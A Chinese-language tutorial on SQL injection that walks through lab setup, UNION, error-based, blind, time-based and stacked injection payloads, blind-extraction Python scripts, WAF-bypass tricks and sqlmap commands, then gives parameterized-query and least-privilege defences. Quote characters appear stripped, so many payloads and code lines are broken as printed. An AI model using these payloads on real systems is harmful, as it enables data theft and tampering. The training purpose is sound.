公司动态

SQL注入渗透与攻防:从原理到防御的完整指南

📅 2026/8/31 11:53:10
SQL注入渗透与攻防:从原理到防御的完整指南
这次我们直接上一个网络安全入门到进阶绕不开的核心技能SQL注入渗透与攻防。如果你正在学网络安全、准备护网面试、刷 CTF 题目或者工作中需要做 Web 应用安全测试SQL注入都是必须吃透的攻击类型。它不只是“在登录框里输入万能密码”那么简单真正的难点在于不同数据库的语法差异、不同注入位置的利用方式、WAF 绕过思路以及如何写出能落地的防御代码。这篇文章按“基础篇 高级篇”两条线展开先讲 SQL注入的成因、分类和靶场环境搭建再演示联合查询、报错注入、布尔盲注、时间盲注、堆叠注入和常见绕过手法最后给出 Java、Python 和 Spring 场景下的防御代码示例。全程可复现所有操作都应在本地靶场或授权测试环境中进行。1. 核心能力速览能力项说明学习方向SQL注入原理、分类、利用方式、绕过技巧、防御方案基础技能HTTP 请求分析、SQL 语法、数据库常用函数常用工具Burp Suite、sqlmap、浏览器开发者工具、kali 自带工具集靶场建议DVWA、sqli-labs、Pikachu、本地自建实验库覆盖注入类型联合查询、报错注入、布尔盲注、时间盲注、堆叠注入、宽字节注入、二次注入防御重点参数化查询、白名单校验、最小权限、过滤与转义适合读者网络安全初学者、渗透测试人员、护网学习者、Java/Python 后端开发这里先明确一个前提SQL注入的利用与测试只能在你拥有授权的目标上进行例如自建靶场、CTF 题目、SRC 项目的授权范围内。未授权测试属于违法操作这个边界不能越。2. SQL注入原理与分类SQL注入的根因是程序将用户输入直接拼接进 SQL 语句数据库把恶意输入当成 SQL 代码执行。攻击者通过修改输入内容改变原始查询逻辑从而实现越权读取、绕过认证、写入文件或执行命令。一个最原始的例子SELECT * FROM users WHERE name admin AND pwd 123456;如果用户输入的用户名是admin --那么拼接后的语句变成SELECT * FROM users WHERE name admin -- AND pwd 123456;--是 SQL 的注释符号后面的密码校验被注释掉登录逻辑被绕过。这种“万能密码”只是最基础的演示。实际渗透中SQL注入按数据获取方式分为以下几类注入类型特点适用条件联合查询注入直接获取查询结果速度快页面有回显且原始查询字段数可控报错注入通过数据库报错信息带出数据页面有报错回显如 MySQL 的 updatexml、extractvalue布尔盲注根据页面真假判断条件无直接回显但页面有真/假差异时间盲注根据响应时间判断条件页面无任何回显差异但可执行延时函数堆叠注入在一条语句后追加多条语句数据库支持多语句执行如 MSSQL、PostgreSQLMySQL 部分场景可用宽字节注入绕过单引号转义GBK 编码环境\被%bf%27吃掉二次注入第一次入库无危险第二次使用时触发程序对写入数据无过滤但二次查询时拼接了存储值合理的学习顺序是先掌握联合查询和报错注入再看盲注最后研究绕过和防御。下面按这个顺序逐步展开。3. 本地靶场环境搭建与准备学习 SQL注入必须有一个安全可控的实验环境。推荐三种方案任选其一。3.1 方案一使用现成靶场镜像DVWA 是 Web 安全学习中最经典的靶场内置 SQL Injection 模块分为 low、medium、high 三个安全级别。使用 Docker 启动docker pull vulnerables/web-dvwa docker run -d -p 8080:80 vulnerables/web-dvwa启动后访问http://127.0.0.1:8080默认用户名admin密码password登录后进入 DVWA Security 页面将级别调为 low再进入 SQL Injection 模块开始实验。3.2 方案二部署 sqli-labssqli-labs 是专门练习 SQL注入的靶场包含几十个关卡覆盖基本注入、复杂注入、绕过和堆叠注入适合系统训练。Docker 方式启动docker pull acgpiano/sqli-labs docker run -d -p 8081:80 acgpiano/sqli-labs启动后访问http://127.0.0.1:8081按关卡编号从 Less-1 开始练习。3.3 方案三本地安装 PHP 环境自建如果你不想用 Docker也可以在 Windows 或 Linux 上安装 PHPMySQL 环境手动导入靶场源码。本地环境的优势是能直接查看 PHP 源码理解漏洞代码的写法。最低配置清单# Ubuntu 环境示例 sudo apt update sudo apt install apache2 php libapache2-mod-php php-mysql mysql-server sudo systemctl enable --now mysql apache2然后把靶场源码放到 Web 根目录导入数据库修改配置文件中的数据库账号密码即可。3.4 工具准备工具用途Burp Suite 社区版抓包、改包、重放请求浏览器开发者工具查看请求参数、响应内容和页面逻辑sqlmap自动化检测与利用适合提高效率import requests 或 curl编写 Python 脚本实现自动化测试HackBar 扩展快速拼接 SQL 注入 Payload工具不是重点重点是理解每条 Payload 的含义。先手动测通再用工具不然自动化工具出问题时你根本不知道哪里错了。4. 基础注入实战联合查询注入联合查询注入是最直观、最适合入门的一种方式。核心思路是让原始查询返回一个空结果再用UNION SELECT拼接自己想要的数据。4.1 判断注入点在 sqli-labs Less-1 中参数为?id1。依次测试?id1 ?id1 ?id1 AND 11 ?id1 AND 12如果id1页面报错或行为异常而id1 AND 12页面结果与id1不同说明数字位置可以被单引号闭合存在注入。也可以使用算术运算判断?id2-1如果页面显示的是id1的数据说明数字直接参与运算存在数字型注入。4.2 确定字段数使用ORDER BY判断查询的列数?id1 ORDER BY 3 -- - ?id1 ORDER BY 4 -- -当排序列号超过实际列数时数据库会报错。比如ORDER BY 4报错说明原始查询只有 3 列。4.3 获取数据库信息确定列数后用UNION SELECT构造查询?id-1 UNION SELECT 1,2,3 -- -这里id-1是为了让原始查询返回空结果使得联合查询的数据显示在页面上。页面显示出的2和3就是回显位可以替换为数据库函数。?id-1 UNION SELECT 1,database(),version() -- -执行后页面会显示当前数据库名和数据库版本。4.4 获取表名和字段名?id-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase() -- -这条语句用information_schema.tables查询当前库中的所有表名再用group_concat合并成一行输出。拿到表名后继续查字段名?id-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameusers -- -之后就是读取数据?id-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users -- -0x3a是冒号的十六进制写法用来分隔用户名和密码。5. 基础注入实战报错注入与布尔盲注联合查询注入要求页面有回显位。但在真实渗透中很多页面的查询结果不会直接显示在页面上这时需要换思路。5.1 报错注入原理报错注入利用的是数据库函数在参数非法时报错时会把错误信息中的部分内容拼接出来。MySQL 中常用的报错函数是updatexml和extractvalue。updatexml函数原型UPDATEXML(XML_document, XPath_string, new_value)当 XPath 参数格式非法时MySQL 会报错并显示传入的字符串。把子查询放在 XPath 位置就能把查询结果带进报错信息里。?id1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) -- -0x7e是波浪号~的十六进制作用是让报错内容更明显。查询表名?id1 AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()),0x7e),1) -- -报错注入适合字段多、有报错回显的场景缺点是每次只能输出一小段结果对于长内容需要配合substr截取。5.2 布尔盲注原理布尔盲注适用于页面没有直接回显、但有真假差异的场景。比如id1正常显示“存在”id1 AND 11也正常但id1 AND 12显示“不存在”就说明可以逐字符猜测数据。核心思路是?id1 AND SUBSTR((SELECT database()),1,1)s -- -如果页面返回真说明当前数据库名的第一个字符是s继续猜第二个字符?id1 AND SUBSTR((SELECT database()),2,1)q -- -手动测试非常慢实际场景中要么写 Python 脚本要么用二分法提高效率。一个简单的 Python 布尔盲注示例import requests url http://127.0.0.1:8081/Less-8/ chars abcdefghijklmnopqrstuvwxyz0123456789_ result for i in range(1, 50): for c in chars: payload f?id1 AND SUBSTR((SELECT database()),{i},1){c} -- - r requests.get(url payload, timeout5) if You are in in r.text: result c print(result) break这里的判断条件You are in in r.text需要根据靶场实际页面返回内容调整。Less-8 的页面在查询为真时会有固定提示不是所有靶场都一样。6. 基础注入实战时间盲注与堆叠注入当页面没有任何真/假差异时布尔盲注也失效了这时只能通过数据库延时行为判断条件是否成立这就是时间盲注。6.1 时间盲注原理MySQL 中使用SLEEP()函数让查询延迟指定秒数?id1 AND SLEEP(5) -- -如果请求明显慢了 5 秒说明注入语句被执行。结合条件判断?id1 AND IF(SUBSTR((SELECT database()),1,1)s,SLEEP(3),0) -- -如果当前数据库名第一个字符是s则延时 3 秒否则立即返回。通过反复测试可以逐字符拼出完整数据。时间盲注的脚本比布尔盲注更容易写因为不需要判断页面内容只需要计算响应时间import requests import time url http://127.0.0.1:8081/Less-9/ chars abcdefghijklmnopqrstuvwxyz0123456789_ result for i in range(1, 50): for c in chars: payload f?id1 AND IF(SUBSTR((SELECT database()),{i},1){c},SLEEP(2),0) -- - start time.time() requests.get(url payload, timeout10) cost time.time() - start if cost 1.5: result c print(result) break注意时间盲注的延时不能设置过大不然测试次数多、耗时长也不能太小否则网络波动会影响判断。6.2 堆叠注入堆叠注入是指在一个数据库连接中同时执行多条 SQL 语句。MySQL 的mysqli等 API 支持多语句执行时就能测试。?id1; SELECT SLEEP(5); -- -更常见的是修改数据?id1; UPDATE users SET passwordhacked WHERE id1; -- -堆叠注入比普通注入危害更大因为可以执行任意语句而不仅是 SELECT。但它的利用条件也更苛刻很多数据库访问框架默认关闭多语句执行需要在测试时逐一确认。7. 高级注入实战绕过技巧与 WAF 场景学习基础注入之后进阶的核心是绕过注入。真实场景中目标往往有参数过滤、WAF 规则和代码层面的输入校验直接拼接经典 Payload 基本不可能成功。7.1 空格绕过很多过滤规则会删除空格。SQL 中很多地方可以用注释替代空格SELECT/**/username/**/FROM/**/users也可以使用括号包裹SELECT(username)FROM(users)WHERE(id1)tab 键也能充当分隔符在部分数据库中有效。7.2 大小写与编码绕过?id1 UnIoN SeLeCt 1,2,3 -- -如果过滤规则只匹配全小写的union select大小写混写可以绕过。编码绕过则常见于 URL 编码例如%27表示单引号部分 WAF 未解码到第二层时会漏过。7.3 内联注释绕过MySQL 支持/*! */内联注释注释内的语句会被当作正常 SQL 执行/*!50000SELECT*/ username FROM users这种手法常用于绕过只匹配简单关键字的安全设备。7.4 双写绕过如果系统使用str_replace把敏感字删除一次可以用双写绕过?id1 Ununionion Selselectect 1,2,3 -- -过滤掉一次union后剩下的字符串依然拼接成union select。7.5 参数类型转换绕过部分接口使用 JSON 传参或自动转换类型例如id参数在代码里被intval()转换这时需要寻找其他可注入的参数如排序字段、用户名、搜索关键字等。7.6 自动化工具配合sqlmap 是渗透测试中最常用的 SQL注入自动化工具。基础用法sqlmap -u http://127.0.0.1:8081/Less-1/?id1 --batch --dbs指定数据库类型sqlmap -u http://127.0.0.1:8081/Less-1/?id1 --dbmsmysql --current-db获取表名sqlmap -u http://127.0.0.1:8081/Less-1/?id1 -D security --tables实际测试中sqlmap 跑不出来的原因通常是请求需要登录态、参数名带特殊字符或 WAF 拦截。此时可以先在 Burp Suite 中确认请求 Cookie再通过--cookie传给 sqlmap。需要强调的是自动化工具只是辅助手动注入能力才是核心。面试和 CTF 比赛中限制工具的场景非常多。8. SQL注入防御方案与代码示例攻防一体才是完整的学习闭环。只学攻击、不会防守很难在护网和 SRC 项目中走远。8.1 参数化查询参数化查询是防御 SQL注入最根本的手段。核心思想是SQL 语句结构由代码定义用户输入只作为参数传入永远不会被拼接进语句结构。Java 中使用PreparedStatementString sql SELECT * FROM users WHERE name ? AND pwd ?; PreparedStatement ps connection.prepareStatement(sql); ps.setString(1, username); ps.setString(2, password); ResultSet rs ps.executeQuery();Python 中使用cursor.execute的占位符语法sql SELECT * FROM users WHERE name %s AND pwd %s cursor.execute(sql, (username, password))这里的%s是占位符框架会负责转义和类型处理用户输入不会被当成 SQL 代码执行。8.2 MyBatis 中的#{}与${}Java 后端使用 MyBatis 时必须清楚#{}和${}的区别。#{}是预编译参数安全select idfindUser resultTypeUser SELECT * FROM users WHERE name #{name} /select${}是字符串拼接存在注入风险select idfindUser resultTypeUser SELECT * FROM users WHERE name ${name} /select只有表名、排序字段等无法使用占位符的场景才考虑${}并且必须在代码层做白名单校验。8.3 排序字段白名单校验很多开发人员在实现“按字段排序”功能时直接拼接参数导致 ORDER BY 注入。正确做法是白名单映射String[] allowedColumns {id, create_time, update_time}; String input request.getParameter(order); String column Arrays.asList(allowedColumns).contains(input) ? input : id;8.4 数据库最小权限应用账号只授予必要的权限不用 root 账号连接业务库。CREATE USER app_userlocalhost IDENTIFIED BY password; GRANT SELECT, INSERT, UPDATE, DELETE ON mydb.* TO app_userlocalhost;即使发生注入攻击者也无法读取其他库、写文件或执行系统命令。8.5 输入校验与 WAF 部署输入校验要放在业务逻辑之前函数层统一收口。例如 Java 中可以用拦截器对请求参数做统一校验过滤危险字符和 SQL 关键字并返回统一错误页面避免暴露数据库报错信息。WAF 可以拦截大部分自动化攻击但不应作为唯一防线。正确的防御层次是参数化查询兜底输入校验防护WAF 做第二层拦截数据库权限做最后边界。9. 常见问题排查与学习路径建议问题现象可能原因排查方式解决方案id1页面报错 500参数类型不匹配或支付位数错误检查 URL 编码和数据库类型用#或-- -注释掉尾部语法UNION 后页面不显示数据字段数不对或原始查询无空集ORDER BY确认列数id-1制造空集调整字段位数报错函数无输出页面关闭了错误显示换盲注或联合查询分析响应差异盲注脚本判断异常网页特征变化或网络延迟单独测试一个字符确认调整页面判断条件sqlmap 检测不到注入需要登录态或被 WAF 拦截抓包确认 Cookie 和参数特征使用--cookie或--level学习路径建议先花两周把 sqli-labs 前 20 关手动做完记录每条 Payload 的原理再用 sqlmap 验证对比。之后做 DVWA 的 low、medium、high 级别练习理解过滤规则对 Payload 的影响。最后可以用 Pikachu 靶场练习二次注入、SSRF 组合漏洞并尝试自写漏洞 PHP/Java 代码从攻击视角转到防御视角。如果你准备护网面试重点要能讲清楚三件事SQL注入的根本成因是什么修复方案为什么能防止注入以及为什么 WAF 不能替代参数化查询。10. 总结与下一步SQL注入是网络安全渗透测试中最经典的漏洞类型也是学习 Web 安全的第一站。基础篇要掌握联合查询、报错注入、布尔盲注和时间盲注理解它们分别适用于什么页面状态高级篇要掌握绕过思路和防御落地配合 WAF 与代码审计才能形成完整能力。最值得先验证的功能是联合查询注入在 sqli-labs 上手动走一遍获取数据库名和表名的流程。最容易踩的坑是盲目使用 sqlmap不去理解 Payload 的具体语法导致换一个注入场景就不会了。建议把常见 Payload 整理成自己的笔记每次测试前先确认数据库类型、注入位置和页面回显状态再决定用哪种注入方式。后续可以继续扩展的方向包括JSON 接口与 NoSQL 注入、存储过程注入、二次注入与逻辑漏洞组合、sqlmap 的 tamper 脚本编写以及 Java 代码审计中的 SQL注入复查。把这些串起来才算是真正具备 SQL注入渗透与攻防的一体化能力。